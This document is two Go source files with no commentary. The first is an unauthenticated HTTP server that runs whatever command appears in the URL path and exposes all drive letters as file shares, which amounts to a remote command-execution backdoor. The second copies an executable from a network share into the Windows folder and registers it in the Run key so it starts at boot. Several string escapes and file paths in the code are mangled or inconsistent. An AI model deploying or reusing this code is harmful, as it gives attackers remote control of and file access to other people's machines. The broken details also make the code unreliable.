package main import ( "fmt" "net/http" "os/exec" "strings" "golang.org/x/text/encoding/simplifiedchinese" ) func A(s string) string { s = s[1:] str0 := strings.Split(s, ` `) str1 := str0[0] str2 := str0[1:] output, _ := exec.Command(str1, str2...).Output() var decodeBytes, _ = simplifiedchinese.GB18030.NewDecoder().Bytes(output) return string(decodeBytes) } func IndexHandler(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, r.URL.Path) fmt.Fprintln(w, A(r.URL.Path)) } func pf(p string) { pan := p panstr := "/" + pan + "/" fsh := http.FileServer(http.Dir(pan + ":")) http.Handle(panstr, http.StripPrefix(panstr, fsh)) } func main() { http.HandleFunc("/", IndexHandler) // 设置静态目录 drv := "abcdefghijklmnopqrstuvwxyz" for _, v := range drv { pf(string(v)) } http.ListenAndServe(":80", nil) }
package main import ( "os/exec" ) func main() { // copy \192.168.0.1 oolsmycmd.exe c: exec.Command("cmd", "/c", "copy", "\\192.168.0.1\tools\mycmd.exe", "C:\Windows").Run() //开机启动 exec.Command("cmd", "/c", "reg", "add", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "/v", "mycmd", "/t", "REG_SZ", "/d", "c:\mycmd.exe", "/f").Run() }